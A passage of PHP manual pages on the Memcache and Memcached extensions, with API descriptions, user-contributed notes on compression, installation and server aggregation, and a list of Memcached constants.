echo $memcache_obj->get('var_key');

?>

See Also

  • Memcache::add() - Add an item to the server
  • Memcache::replace() - Replace value of the existing item

User Contributed Notes

wbonde at yakabod dot com 21-Jan-2011 12:27
The max time for expiration (without having to worry about deletions when necessary as with 0 seconds) is 2,592,000 seconds (30 days).

Specifying an expiration value above that will return false, but will NOT throw in error so it is easy to miss.
duerra at nospam dot yahoo dot com 17-Nov-2010 04:04
If you're interested in using compression, please note that, at least for PHP version 5.3.2 and Memcache version 3.0.4, when retrieving a key who's value is a numeric or boolean type, PHP throws a notice of the following:

Message: MemcachePool::get(): Failed to uncompress data

The way around this is to test your variable type before setting or adding it to Memcache, or even cast it as a string.

<?php
$key = 'mc_key';
$value = 12345;
$compress = is_bool($value) || is_int($value) || is_float($value) ? false : MEMCACHE_COMPRESSED;

$mc= new Memcache;
$mc->connect('localhost', 11211);
$mc->set($key, $value, $compress);

echo $mc->get($key);

//Alternative is to cast the variable
$value = is_scalar($value) ? (string)$value : $value;
$mc->set($key, $value, MEMCACHE_COMPRESSED);
?>
effeesse gmail com 23-Apr-2010 01:06
if you want to cache an image created on-the-fly you can do:

<?php
ob_start();
imagepng($image);
$memcache->set("my_image", ob_get_contents(), false, $cache_time);
ob_end_clean();
?>

then you could access the chached image as simple variable:
<?php $my_image = $memcache->get("my_image"); ?>

so, in short, you have to buffer the output
argyleblanket 24-Jun-2008 05:12
Using set more than once for the same key seems to have unexpected results - it does not behave as a "replace," but instead seems to "set" more than one value for the same key.  "get" may return any of the values.

This was tested on a multiple-server setup - behaviour may be different if you only have one server.

Remedy is to use a combination of replace and set:

<?php
$result = $memcache->replace( $key, $var );
if( $result == false )
{
    $result = $memcache->set( $key, $var );
}
?>
jakub dot lopuszanski at nasza-klasa dot pl 14-Apr-2008 07:45
The lowest byte of the int is reserved for pecl/memcache internal usage (e.g. to indicate compression and serialization status).
Stephen from veedow.com 09-Apr-2008 07:07
I ran into problems using the MEMCACHE_COMPRESSED flag when storing small amounts of data, such as an integers.

For expample.

<?php
Memcache::set('integer', 123456, MEMCACHE_COMPRESSED);
//would return true

Memcache::get('integer');
//would return false
?>

This problem went away when I removed the MEMCACHE_COMPRESSED flag for values that were small.
phalcos 24-Sep-2007 11:46
Here is a very visual example on how to use the memcache. It sets the key 'time' to the current time.
Put the example code in an empty page and keep reloading it.
As you can see, after 10 seconds your memcache key will be able to update with a new timestamp.

<?php

$memcache_obj = new Memcache;
$memcache_obj->connect('127.0.0.1', 11211);

if ($memcache_obj->get('time') == "") {
        $date = date("H:i:s");
        $memcache_obj->set('time', $date, MEMCACHE_COMPRESSED, 10);
}

echo "At ".date("H:i:s").", your key is ".$memcache_obj->get('time');

?>
Sc00bz 19-Jul-2007 01:20
This is just two minor things about memcache that might not be perfectly clear, the limits on key and data sizes and what happen to flags in the memcache protocol.

* There is a max key size of 250 anything bigger gets truncated. There is also a (1MB - 42 bytes) limit on the data.

* In the memcache protocol there is a 16bit, 32bit in newer version, flag that you can set to whatever you want because memcache doesn't do anything with the flags. The php api doesn't let you get the flags because php uses the flags for php's own use such as "MEMCACHE_COMPRESSED" and I decided to test if it was doing something because it wasn't part of the memcache protocol.

<?php
$memcache = new Memcache();
$memcache->connect("127.0.0.1", 11211);

// Since memcache truncates the keys at 250 bytes both the get "250 a's" and "251 a's" will find the key in the cache
echo "*** Truncate key test ***<br>";
echo "set 251: " . ($memcache->set(str_repeat("a", 251), "value", 0, 1) ? "t" : "f") . "<br>";

echo "get 249: " . (($ret = $memcache->get(str_repeat("a", 249))) !== false ? "'$ret'" : "f") . "<br>";
echo "get 250: " . (($ret = $memcache->get(str_repeat("a", 250))) !== false ? "'$ret'" : "f") . "<br>";
echo "get 251: " . (($ret = $memcache->get(str_repeat("a", 251))) !== false ? "'$ret'" : "f") . "<br>";
echo "delete: " . ($memcache->delete(str_repeat("a", 250)) ? "t" : "f") . "<br><br>";

echo "*** Compress value test ***<br>";
echo "set 1024*1024-42: " . ($memcache->set("test", str_repeat("a", 1024*1024-42), 0, 1) ? "t" : "f") . "<br>";
echo "set 1024*1024-41: " . ($memcache->set("test", str_repeat("a", 1024*1024-41), 0, 1) ? "t" : "f") . "<br>";
echo "set 1024*1024 compressed: " . ($memcache->set("test", str_repeat("a", 1024*1024), MEMCACHE_COMPRESSED, 1) ? "t" : "f") . "<br>";
echo "delete: " . ($memcache->delete("test") ? "t" : "f") . "<br>";
$memcache->close();
?>

Output:
*** Truncate key test ***
set 251: t
get 249: f
get 250: 'value'
get 251: 'value'
delete: t

*** Compress value test ***
set 1024*1024-42: t
set 1024*1024-41: f
set 1024*1024 compressed: t
delete: t
Memcache::replace
Memcache::setCompressThreshold
Memcache


Enable automatic compression of large values

Memcache::set
Memcache::setServerParams
Memcache
PHP Manual

Memcache::setCompressThreshold

(PECL memcache >= 2.0.0)

Memcache::setCompressThreshold — Enable automatic compression of large values

Description

bool Memcache::setCompressThreshold ( int $threshold [, float $min_savings ] )

Memcache::setCompressThreshold() enables automatic compression of large values. You can also use the memcache_set_compress_threshold() function.

Note:

This function has been added to Memcache version 2.0.0.

Parameters

threshold

Controls the minimum value length before attempting to compress automatically.

min_saving

Specifies the minimum amount of savings to actually store the value compressed. The supplied value must be between 0 and 1. Default value is 0.2 giving a minimum 20% compression savings.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Memcache::setCompressThreshold() example

<?php

/* OO API */

$memcache_obj = new Memcache;
$memcache_obj->addServer('memcache_host', 11211);
$memcache_obj->setCompressThreshold(20000, 0.2);

/* procedural API */

$memcache_obj = memcache_connect('memcache_host', 11211);
memcache_set_compress_threshold($memcache_obj, 20000, 0.2);

?>

User Contributed Notes

There are no user contributed notes for this page.
Memcache::set
Memcache::setServerParams
Memcache


Changes server parameters and status at runtime

Memcache::setCompressThreshold
Memcache Functions
Memcache
PHP Manual

Memcache::setServerParams

(PECL memcache >= 2.1.0)

Memcache::setServerParams — Changes server parameters and status at runtime

Description

bool Memcache::setServerParams ( string $host [, int $port = 11211 [, int $timeout [, int $retry_interval = false [, bool $status [, callback $failure_callback ]]]]] )

Memcache::setServerParams() changes server parameters at runtime. You can also use the memcache_set_server_params() function.

Note:

This function has been added to Memcache version 2.1.0.

Parameters

host

Point to the host where memcached is listening for connections.

port

Point to the port where memcached is listening for connections.

timeout

Value in seconds which will be used for connecting to the daemon. Think twice before changing the default value of 1 second - you can lose all the advantages of caching if your connection is too slow.

retry_interval

Controls how often a failed server will be retried, the default value is 15 seconds. Setting this parameter to -1 disables automatic retry. Neither this nor the persistent parameter has any effect when the extension is loaded dynamically via dl().

status

Controls if the server should be flagged as online. Setting this parameter to FALSE and retry_interval to -1 allows a failed server to be kept in the pool so as not to affect the key distribution algoritm. Requests for this server will then failover or fail immediately depending on the memcache.allow_failover setting. Default to TRUE, meaning the server should be considered online.

failure_callback

Allows the user to specify a callback function to run upon encountering an error. The callback is run before failover is attempted. The function takes two parameters, the hostname and port of the failed server.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Memcache::setServerParams() example

<?php

function _callback_memcache_failure($host, $port) {
    print "memcache '$host:$port' failed";
}

/* OO API */

$memcache = new Memcache;

// Add the server in offline mode
$memcache->addServer('memcache_host', 11211, false, 1, 1, -1, false);

// Bring the server back online
$memcache->setServerParams('memcache_host', 11211, 1, 15, true, '_callback_memcache_failure');

/* procedural API */

$memcache_obj = memcache_connect('memcache_host', 11211);
memcache_set_server_params($memcache_obj, 'memcache_host', 11211, 1, 15, true, '_callback_memcache_failure');

?>

See Also

  • Memcache::addServer() - Add a memcached server to connection pool
  • Memcache::getServerStatus() - Returns server status

User Contributed Notes

There are no user contributed notes for this page.
Memcache::setCompressThreshold
Memcache Functions
Memcache


Memcache Functions

Table of Contents

  • memcache_debug — Turn debug output on/off

User Contributed Notes

dweller at devonweller dot com 18-Nov-2009 09:02
In the memcache PECL extension version 2.2.5, the delete function does not work with memcached 1.4.3.  To work around this, here is a version of the memcache PECL extension with a patch provided by harv at pringo dot com applied:

http://code.google.com/p/phpmemcachepatch/downloads/list

To install: download

http://phpmemcachepatch.googlecode.com/files/memcache-2.2.5b.tgz

and do:

pecl install memcache-2.2.5b.tgz
restlessmind at I dot gmail dot HATE dot com dot SPAM 19-Feb-2008 01:50
If you are trying install this module for PHP 5.2 under Windows but it won't load on startup, make sure you have all your dependencies including the correct thread-safety build of PHP.

For hours I tried to track down why I couldn't load php_memcache.dll, and finally used Dependency Walker (from http://www.dependencywalker.com) on the .dll file.  This made me realize that while I was using the version of PHP 5.2.5 that was non-thread safe, the .dll offered by pecl4win was expecting the thread safe version of PHP.  Once I rectified this, everything worked fine.
contact at codeassembly dot com 30-Jan-2008 06:28
Note that there is no way to have your own hashing mechanism, the best way to group a set of objects to a server is to manually select the server to use.

I want to keep all objects for a certain user on the same server.

user_54_description
user_54_info
user_54_comments
user_54_etc
.
.

If I have all these objects on the same server I can get all data with only one call to memcache -> get (get_multi), so this improves performance a lot.

The way I do this is by hashing the User/Object id to to the number of servers.

<?php
$memcache_hosts = array
(
'192.168.1.1',
'192.168.1.2',
'192.168.1.3',
'192.168.1.4',
'192.168.1.5',
);

$server = $id % count($memcache_hosts);

$memcache = new Memcache;
$memcache->connect($memcache_hosts[$server], 11211);

//get or set your objects here
?>

You can leave other objects that you don't want to group to memcache extension to hash and select the appropiate server.
mogmios at gmail dot com 30-Sep-2007 09:03
When installing the memcache module for Apache/PHP with a non-standard location it seems like there is no way to define the location when configuring for build. You'll get an error complaining about being unable to find php_session.h. I modified configure to try the PREFIX location too and that seems to have worked fine.

    if test -f "${prefix}/include/php/ext/session/php_session.h"; then
      session_inc_path="${prefix}/include/php"
    elif test -f "$abs_srcdir/include/php/ext/session/php_session.h"; then
      session_inc_path="$abs_srcdir/include/php"
    elif test -f "$abs_srcdir/ext/session/php_session.h"; then
      session_inc_path="$abs_srcdir"
    elif test -f "$phpincludedir/ext/session/php_session.h"; then
      session_inc_path="$phpincludedir"
    fi
Colin Guthrie 23-Aug-2007 02:57
I have noticed a bug/documentation error:

The above docs say the following about the session.save_path arguement:
"Each url may contain parameters which are applied to that server, they are the same as for the Memcache::addServer() method. "

addServer method's docs say:
"port

    Point to the port where memcached is listening for connections. This parameter is optional and its default value is 11211. Set this parameter to 0 when using UNIX domain sockets. "

However when specifying the save_path, I have found that with PHP 5.2.3 and memcache 2.1.2 that the port is a *required* part of the string.

Hope that helps some people scratching their heads.
markfrawley at gmail dot com 26-Jun-2007 01:10
Here is a PHP4 backport of the above MemcacheAggregator class:

<?php
class MemcachedAggregator {
    var $connections;
    var $_servers;

    function MemcachedAggregator($servers) {
        $this->_servers = $servers;
        // Attempt to establish/retrieve persistent connections to all servers.
        // If any of them fail, they just don't get put into our list of active
        // connections.
        $this->connections = array();
        for ($i = 0, $n = count($servers); $i < $n; $i++) {
            $server = $servers[$i];
            $con = memcache_connect($server['host']);
            //memcache_debug(1);
            //$memcache = &new Memcache;
            //$con = $memcache->connect($server['host']);
            if (!($con == false)) {
                $this->connections[] = &$con;
            }

        }
    }

    function _getConForKey($key) {
        $hashCode = 0;
        for ($i = 0, $len = strlen($key); $i < $len; $i++) {
            $hashCode = (int)(($hashCode*33)+ord($key[$i])) & 0x7fffffff;
        }
        if (($ns = count($this->connections)) > 0) {
            return $this->connections[$hashCode%$ns];
            //return $this->connections[0];
        }
        return false;
    }

    function debug($on_off) {
        $result = false;
        for ($i = 0; $i < count($this->connections); $i++) {
            if ($this->connections[$i]->debug($on_off)) $result = true;
        }
        return $result;
    }

    function flush() {
        $result = false;
        for ($i = 0; $i < count($this->connections); $i++) {
            if ($this->connections[$i]->flush()) $result = true;
        }
        return $result;
    }

    /// The following are not implemented:
    ///getStats()
    ///getVersion()

    function get($key) {
        if (is_array($key)) {
            $dest = array();
            foreach ($key as $subkey) {
            $val = get($subkey);
            if (!($val === false)) $dest[$subkey] = $val;
            }
            return $dest;
        } else {
            $conn = &$this->_getConForKey($key);
            return $conn->get($key);
        }
    }

    function set($key, $var, $compress=0, $expire=0) {
        $conn = &$this->_getConForKey($key);
        return $conn->set($key, $var, $compress, $expire);
    }

    function add($key, $var, $compress=0, $expire=0) {
        $conn = &$this->_getConForKey($key);
        return $conn->add($key, $var, $compress, $expire);
    }

    function replace($key, $var, $compress=0, $expire=0) {
        $conn = &$this->_getConForKey($key);
        return $conn->replace($key, $var, $compress, $expire);
    }

    function delete($key, $timeout=0) {
        $conn = &$this->_getConForKey($key);
        return $conn->delete($key, $timeout);
    }

    function increment($key, $value=1) {
        $conn = &$this->_getConForKey($key);
        return $conn->increment($key, $value);
    }

    function decrement($key, $value=1) {
        $conn = &$this->_getConForKey($key);
        return $conn->decrement($key, $value);
    }

    function showStats($server=null) {
        $stats_out = '';
        if($server == null) {
            $i=0;
            foreach($this->connections as $conn) {
                $server = $this->_servers[$i];
                $stats_array = memcache_get_stats($conn);
                $stats_out .= "</br><b>Server: ".$server['host'].": </b><br/>";
                foreach($stats_array as $key => $val) {
                    $stats_out .= "$key => $val <br/>";
                }
                $i++;
            }
        }
        return $stats_out;
    }
}
?>
moazzamk at gmail dot com 18-May-2007 03:25
You can't call parent::__construct() in the constructor of your class if you are extending the memcache class. However, not running the constructor still initiates it and works fine.

<?php

// wrong

class a extends Memcache {
  function __construct($host, $port)
  {
    parent::__construct();
    $this->connect($host, $port);
  }

//correct
class a extends Memcache {
  function __construct($host, $port)
  {
    parent::__construct();
    $this->connect($host, $port);
  }

?>

I am guessing this applies to all native/PECL classes.
gil at squidoo dot com 10-Apr-2007 02:45
There is a tiny bug in the Aggregator class when using the flush() function. The reference to $connections should be $this->connections.

Change:

public function flush() {
  $result = false;
  for ($i = 0; $i < count($connections); $i++) {
    if ($this->connections[$i]->flush()) {
      $result = true;
    }
  }
  return $result;
}

To:

public function flush() {
  $result = false;
  for ($i = 0; $i < count($this->connections); $i++) {
    if ($this->connections[$i]->flush()) {
      $result = true;
    }
  }
  return $result;
}
jcastromail at yahoo dot es 08-Jan-2007 05:28
Hi there:

For run memcached in a windows box: (tested with latest php,apache and memcache in xp sp2)

a) download the php_memcache.dll it can be found in the pecl file.

b) put the dll in the extension folder (c:/php/extension for example). You cannot miss this folder because they are filled with php*.dll files.  In some cases the extension folder used is the system32, a non-standard way to put dll but still works.

c)configure the php.ini
; i put this like the latest extension
extension=php_memcache.dll

; i'm not sure about this but don't hurts..
[Memcache]
memcache.allow_failover = 1
memcache.max_failover_attempts=20
memcache.chunk_size =8192
memcache.default_port = 11211

d)This is important, memcached works with a EXTERNAL service. This service must be downloaded and installed prior to use the memcache.  I use:  http://jehiah.cz/projects/memcached-win32/

e)Remember to install the service and to start the service memcached.exe -d install for install and run services.msc for start the memcached service (or restart the system).

f) check the firewall ports.

Finally restart the apache/iis and runs some test. At least in phpinfo must show some info about the memcache.

Final notes :The "awe" about memcache is not only can help for speed some process (or reduce the cpu use), also can be used like a global session for store a whole object also this "global session" is shared among all the users, like APPLICATION used in ASP.  So (for example) it's possible to do a user counter without needing of database or writing a file.
ed at me3inc dot com 26-Oct-2006 02:47
Re. Installing the memcache extension:

I had all kinds of troubles getting it hooked up, because in all of the instructions I read I never got the last, most important step - you must have a php.ini and have in it "extension=memcache.so."

So, the steps:
First - ./configure with --enable-memcache. This should show in your phpinfo() at the top (even though nothing of the memcache extension works yet).

Second:
either pecl install memcache
OR
download the source
tar -xzvf [thesourcetarball]
phpize
./configure
make
make install

Finally: Add extension=memcache.so to your php.ini. (If you don't have one, it should go in the root of where php is called ie., /usr/local/lib)

Call phpinfo() and you should see a memcache section.
iliya at pisem dot net 19-Jan-2006 12:35
one more "intelligent" cache aggregator:
https://svn.shadanakar.org/onPHP/ trunk/core/Cache/AggregateCache.class.php
can be used with several cache connectors - memcached, filesystem, etc.
(remove whitespace manually)
Ron 14-Sep-2005 01:19
An improvement to the above:

The above class will cause an error if all cache servers are down.  The preferred behavior is to just have a cache miss (or take no action in the case of write operations) and return false, so the app can run in non-cached mode if all cache servers are down.

To make this happen, simply change the connection usage to look something like this in each affected function.  This code is for the get() function:

        $con = $this->_getConForKey($key);
        if ($con === false) return false;
        return $con->get($key);

Similarly, the affected code in the set() function would look like this:
    $con = $this->_getConForKey($key);
    if ($con === false) return false;
    return $con->set($key, $var, $compress, $expire);

Modify each function accordingly, and if all of your cache servers are down, you can still function (although more slowly due to the 100% cache miss rate).
Ron 14-Sep-2005 10:20
Here is a simple memcached aggregator class which distributes the cache among multiple cache servers.  If a server fails, the load is redistributed automatically.  It uses persistent connections.

The constructor takes an array of arrays, with each inner array representing a server, with a 'server' (string) attribute that is the IP addres or host name of the memcached server, and a 'port' (int) attribute that is the port number on which memcached is running on the server.

All of the existing memcached API functions are implemented except getStats() and getVersion(), which are server-specific.

<?php
class MemcachedAggregator {
    var $connections;

    public function __construct($servers) {
    // Attempt to establish/retrieve persistent connections to all servers.
    // If any of them fail, they just don't get put into our list of active
    // connections.
    $this->connections = array();
    for ($i = 0, $n = count($servers); $i < $n; $i++) {
        $server = $servers[$i];
        $con = memcache_pconnect($server['host'], $server['port']);
        if (!($con == false)) {
        $this->connections[] = $con;
        }
    }
    }

    private function _getConForKey($key) {
    $hashCode = 0;
    for ($i = 0, $len = strlen($key); $i < $len; $i++) {
        $hashCode = (int)(($hashCode*33)+ord($key[$i])) & 0x7fffffff;
    }
    if (($ns = count($this->connections)) > 0) {
        return $this->connections[$hashCode%$ns];
    }
    return false;
    }

    public function debug($on_off) {
    $result = false;
    for ($i = 0; $i < count($connections); $i++) {
        if ($this->connections[$i]->debug($on_off)) $result = true;
    }
    return $result;
    }

    public function flush() {
    $result = false;
    for ($i = 0; $i < count($connections); $i++) {
        if ($this->connections[$i]->flush()) $result = true;
    }
    return $result;
    }

/// The following are not implemented:
///getStats()
///getVersion()

    public function get($key) {
    if (is_array($key)) {
        $dest = array();
        foreach ($key as $subkey) {
        $val = get($subkey);
        if (!($val === false)) $dest[$subkey] = $val;
        }
        return $dest;
    } else {
        return $this->_getConForKey($key)->get($key);
    }
    }

    public function set($key, $var, $compress=0, $expire=0) {
    return $this->_getConForKey($key)->set($key, $var, $compress, $expire);
    }

    public function add($key, $var, $compress=0, $expire=0) {
    return $this->_getConForKey($key)->add($key, $var, $compress, $expire);
    }

    public function replace($key, $var, $compress=0, $expire=0) {
    return $this->_getConForKey($key)->replace
        ($key, $var, $compress, $expire);
    }

    public function delete($key, $timeout=0) {
    return $this->_getConForKey($key)->delete($key, $timeout);
    }

    public function increment($key, $value=1) {
    return $this->_getConForKey($key)->increment($key, $value);
    }

    public function decrement($key, $value=1) {
    return $this->_getConForKey($key)->decrement($key, $value);
    }

}
?>
Memcache::setServerParams
memcache_debug
Memcache


Turn debug output on/off

Memcache Functions
Memcached
Memcache Functions
PHP Manual

memcache_debug

(PECL memcache >= 0.2.0)

memcache_debug — Turn debug output on/off

Description

bool memcache_debug ( bool $on_off )

memcache_debug() turns on debug output if parameter on_off is equal to TRUE and turns off if it's FALSE.

Note:

memcache_debug() is accessible only if PHP was built with --enable-debug option and always returns TRUE in this case. Otherwise, this function has no effect and always returns FALSE.

Parameters

on_off

Turns debug output on if equals to TRUE. Turns debug output off if equals to FALSE.

Return Values

Returns TRUE if PHP was built with --enable-debug option, otherwise returns FALSE.

User Contributed Notes

markus at buyways dot nl 22-Oct-2009 02:39
This method is deprecated in at least PHP 5.2.6

memcache_debug() [<a href='function.memcache-debug'>function.memcache-debug</a>]: memcache_debug() is deprecated, please use a debugger (like Eclipse + CDT)
Memcache Functions
Memcached
Memcache Functions


Memcached

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Expiration Times
  • Callbacks
    • Result callbacks
    • Read-through cache callbacks
  • Sessions support
  • Memcached — The Memcached class
    • Memcached::add — Add an item under a new key
    • Memcached::addByKey — Add an item under a new key on a specific server
    • Memcached::addServer — Add a server to the server pool
    • Memcached::addServers — Add multiple servers to the server pool
    • Memcached::append — Append data to an existing item
    • Memcached::appendByKey — Append data to an existing item on a specific server
    • Memcached::cas — Compare and swap an item
    • Memcached::casByKey — Compare and swap an item on a specific server
    • Memcached::__construct — Create a Memcached instance
    • Memcached::decrement — Decrement numeric item's value
    • Memcached::delete — Delete an item
    • Memcached::deleteByKey — Delete an item from a specific server
    • Memcached::fetch — Fetch the next result
    • Memcached::fetchAll — Fetch all the remaining results
    • Memcached::flush — Invalidate all items in the cache
    • Memcached::get — Retrieve an item
    • Memcached::getByKey — Retrieve an item from a specific server
    • Memcached::getDelayed — Request multiple items
    • Memcached::getDelayedByKey — Request multiple items from a specific server
    • Memcached::getMulti — Retrieve multiple items
    • Memcached::getMultiByKey — Retrieve multiple items from a specific server
    • Memcached::getOption — Retrieve a Memcached option value
    • Memcached::getResultCode — Return the result code of the last operation
    • Memcached::getResultMessage — Return the message describing the result of the last operation
    • Memcached::getServerByKey — Map a key to a server
    • Memcached::getServerList — Get the list of the servers in the pool
    • Memcached::getStats — Get server pool statistics
    • Memcached::getVersion — Get server pool version info
    • Memcached::increment — Increment numeric item's value
    • Memcached::prepend — Prepend data to an existing item
    • Memcached::prependByKey — Prepend data to an existing item on a specific server
    • Memcached::replace — Replace the item under an existing key
    • Memcached::replaceByKey — Replace the item under an existing key on a specific server
    • Memcached::set — Store an item
    • Memcached::setByKey — Store an item on a specific server
    • Memcached::setMulti — Store multiple items
    • Memcached::setMultiByKey — Store multiple items on a specific server
    • Memcached::setOption — Set a Memcached option

User Contributed Notes

joelhy 22-May-2011 08:27
For those confuse about the memcached extension and the memcache extension, the short story is that both of them are clients of memcached server, and the memcached extension offer more features than the memcache extension.
memcache_debug
Introduction
Other Services


Introduction

» memcached is a high-performance, distributed memory object caching system, generic in nature, but intended for use in speeding up dynamic web applications by alleviating database load.

This extension uses libmemcached library to provide API for communicating with memcached servers. It also provides a session handler (memcached).

Information about libmemcached can be found at » http://libmemcached.org/libMemcached.html.

User Contributed Notes

There are no user contributed notes for this page.
Memcached
Installing/Configuring
Memcached


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Memcached


Requirements

This extension requires » libmemcached client library.

User Contributed Notes

pgl at yoyo dot org 18-Apr-2011 07:37
NB: This extension also requires PHP >= 5.2.0.
Installing/Configuring
Installation
Installing/Configuring


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/memcached.

If libmemcached is installed in a non-standard location, use --with-libmemcached-dir=DIR switch, where DIR is the libmemcached install prefix. This directory has to contain the include/libmemcached/memcached.h file.

Zlib is required for compression support. To specify non-standard installation of Zlib, use --with-zlib-dir=DIR switch, where DIR is the Zlib install prefix.

Session handler support is enabled by default. To disable it, use --disable-memcached-session switch.

User Contributed Notes

Loreto Parisi 21-Sep-2010 05:44
memcached 1.0.1 will compile against libmemcached 0.34.

Due to bug http://pecl.php.net/bugs/bug.php?id=17395
memcached 1.0.2 requires libmemcached 0.39+ instead.
gpuk at dasserver dot com 02-Mar-2010 01:50
At present memcached-1.0.0 does not compile with libmemcached-0.38. This is apparently due to libmemcached chaning the API.

For evidence, see this bug: http://pecl.php.net/bugs/bug.php?id=17070

Note: I am encountering the same 'memcached_st' has no member named 'hash' error on a Debian lenny amd_64 box.
Clint Priest 09-Nov-2009 10:53
If your server has --enable-json=shared as mine did, this extension requires you to have extension=json.so to load properly.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

This extension has no configuration directives defined in php.ini.

User Contributed Notes

adolfoabegg at gmail dot com 15-Dec-2011 09:01
you can get the list of the possible options for the memcached.ini configuration file here:
https://github.com/php-memcached-dev/php-memcached/blob/master/memcached.ini
Installation
Resource Types
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

Memcached::OPT_COMPRESSION

Enables or disables payload compression. When enabled, item values longer than a certain threshold (currently 100 bytes) will be compressed during storage and decompressed during retrieval transparently.

Type: boolean, default: TRUE.

Memcached::OPT_SERIALIZER

Specifies the serializer to use for serializing non-scalar values. The valid serializers are Memcached::SERIALIZER_PHP or Memcached::SERIALIZER_IGBINARY. The latter is supported only when memcached is configured with --enable-memcached-igbinary option and the igbinary extension is loaded.

Type: integer, default: Memcached::SERIALIZER_PHP.

Memcached::SERIALIZER_PHP

The default PHP serializer.

Memcached::SERIALIZER_IGBINARY

The » igbinary serializer. Instead of textual representation it stores PHP data structures in a compact binary form, resulting in space and time gains.

Memcached::SERIALIZER_JSON

The JSON serializer. Requires PHP 5.2.10+.

Memcached::OPT_PREFIX_KEY

This can be used to create a "domain" for your item keys. The value specified here will be prefixed to each of the keys. It cannot be longer than 128 characters and will reduce the maximum available key size. The prefix is applied only to the item keys, not to the server keys.

Type: string, default: "".

Memcached::OPT_HASH

Specifies the hashing algorithm used for the item keys. The valid values are supplied via Memcached::HASH_* constants. Each hash algorithm has its advantages and its disadvantages. Go with the default if you don't know or don't care.

Type: integer, default: Memcached::HASH_DEFAULT

Memcached::HASH_DEFAULT

The default (Jenkins one-at-a-time) item key hashing algorithm.

Memcached::HASH_MD5

MD5 item key hashing algorithm.

Memcached::HASH_CRC

CRC item key hashing algorithm.

Memcached::HASH_FNV1_64

FNV1_64 item key hashing algorithm.

Memcached::HASH_FNV1A_64

FNV1_64A item key hashing algorithm.

Memcached::HASH_FNV1_32

FNV1_32 item key hashing algorithm.

Memcached::HASH_FNV1A_32

FNV1_32A item key hashing algorithm.

Memcached::HASH_HSIEH

Hsieh item key hashing algorithm.

Memcached::HASH_MURMUR

Murmur item key hashing algorithm.

Memcached::OPT_DISTRIBUTION

Specifies the method of distributing item keys to the servers. Currently supported methods are modulo and consistent hashing. Consistent hashing delivers better distribution and allows servers to be added to the cluster with minimal cache losses.

Type: integer, default: Memcached::DISTRIBUTION_MODULA.

Memcached::DISTRIBUTION_MODULA

Modulo-based key distribution algorithm.

Memcached::DISTRIBUTION_CONSISTENT

Consistent hashing key distribution algorithm (based on libketama).

Memcached::OPT_LIBKETAMA_COMPATIBLE

Enables or disables compatibility with libketama-like behavior. When enabled, the item key hashing algorithm is set to MD5 and distribution is set to be weighted consistent hashing distribution. This is useful because other libketama-based clients (Python, Ruby, etc.) with the same server configuration will be able to access the keys transparently.

Note:

It is highly recommended to enable this option if you want to use consistent hashing, and it may be enabled by default in future releases.

Type: boolean, default: FALSE.

Memcached::OPT_BUFFER_WRITES

Enables or disables buffered I/O. Enabling buffered I/O causes storage commands to "buffer" instead of being sent. Any action that retrieves data causes this buffer to be sent to the remote connection. Quitting the connection or closing down the connection will also cause the buffered data to be pushed to the remote connection.

Type: boolean, default: FALSE.

Memcached::OPT_BINARY_PROTOCOL

Enable the use of the binary protocol. Please note that you cannot toggle this option on an open connection.

Type: boolean, default: FALSE.

Memcached::OPT_NO_BLOCK

Enables or disables asynchronous I/O. This is the fastest transport available for storage functions.

Type: boolean, default: FALSE.

Memcached::OPT_TCP_NODELAY

Enables or disables the no-delay feature for connecting sockets (may be faster in some environments).

Type: boolean, default: FALSE.

Memcached::OPT_SOCKET_SEND_SIZE

The maximum socket send buffer in bytes.

Type: integer, default: varies by platform/kernel configuration.

Memcached::OPT_SOCKET_RECV_SIZE

The maximum socket receive buffer in bytes.

Type: integer, default: varies by platform/kernel configuration.

Memcached::OPT_CONNECT_TIMEOUT

In non-blocking mode this set the value of the timeout during socket connection, in milliseconds.

Type: integer, default: 1000.

Memcached::OPT_RETRY_TIMEOUT

The amount of time, in seconds, to wait until retrying a failed connection attempt.

Type: integer, default: 0.

Memcached::OPT_SEND_TIMEOUT

Socket sending timeout, in microseconds. In cases where you cannot use non-blocking I/O this will allow you to still have timeouts on the sending of data.

Type: integer, default: 0.

Memcached::OPT_RECV_TIMEOUT

Socket reading timeout, in microseconds. In cases where you cannot use non-blocking I/O this will allow you to still have timeouts on the reading of data.

Type: integer, default: 0.

Memcached::OPT_POLL_TIMEOUT

Timeout for connection polling, in milliseconds.

Type: integer, default: 1000.

Memcached::OPT_CACHE_LOOKUPS

Enables or disables caching of DNS lookups.

Type: boolean, default: FALSE.

Memcached::OPT_SERVER_FAILURE_LIMIT

Specifies the failure limit for server connection attempts. The server will be removed after this many continuous connection failures.

Type: integer, default: 0.

Memcached::HAVE_IGBINARY

Indicates whether igbinary serializer support is available.

Type: boolean.

Memcached::HAVE_JSON

Indicates whether JSON serializer support is available.

Type: boolean.

Memcached::GET_PRESERVE_ORDER

A flag for Memcached::getMulti() and Memcached::getMultiByKey() to ensure that the keys are returned in the same order as they were requested in. Non-existing keys get a default value of NULL.

Memcached::RES_SUCCESS

The operation was successful.

Memcached::RES_FAILURE

The operation failed in some fashion.

Memcached::RES_HOST_LOOKUP_FAILURE

DNS lookup failed.

Memcached::RES_UNKNOWN_READ_FAILURE

Failed to read network data.

Memcached::RES_PROTOCOL_ERROR

Bad command in memcached protocol.

Memcached::RES_CLIENT_ERROR

Error on the client side.

Memcached::RES_SERVER_ERROR

Error on the server side.

Memcached::RES_WRITE_FAILURE

Failed to write network data.

Memcached::RES_DATA_EXISTS

Failed to do compare-and-swap: item you are trying to store has been modified since you last fetched it.

Memcached::RES_NOTSTORED

Item was not stored: but not because of an error. This normally means that either the condition for an "add" or a "replace" command wasn't met, or that the item is in a delete queue.

Memcached::RES_NOTFOUND

Item with this key was not found (with "get" operation or "cas" operations).

Memcached::RES_PARTIAL_READ

Partial network data read error.

Memcached::RES_SOME_ERRORS

Some errors occurred during multi-get.

Memcached::RES_NO_SERVERS

Server list is empty.

Memcached::RES_END

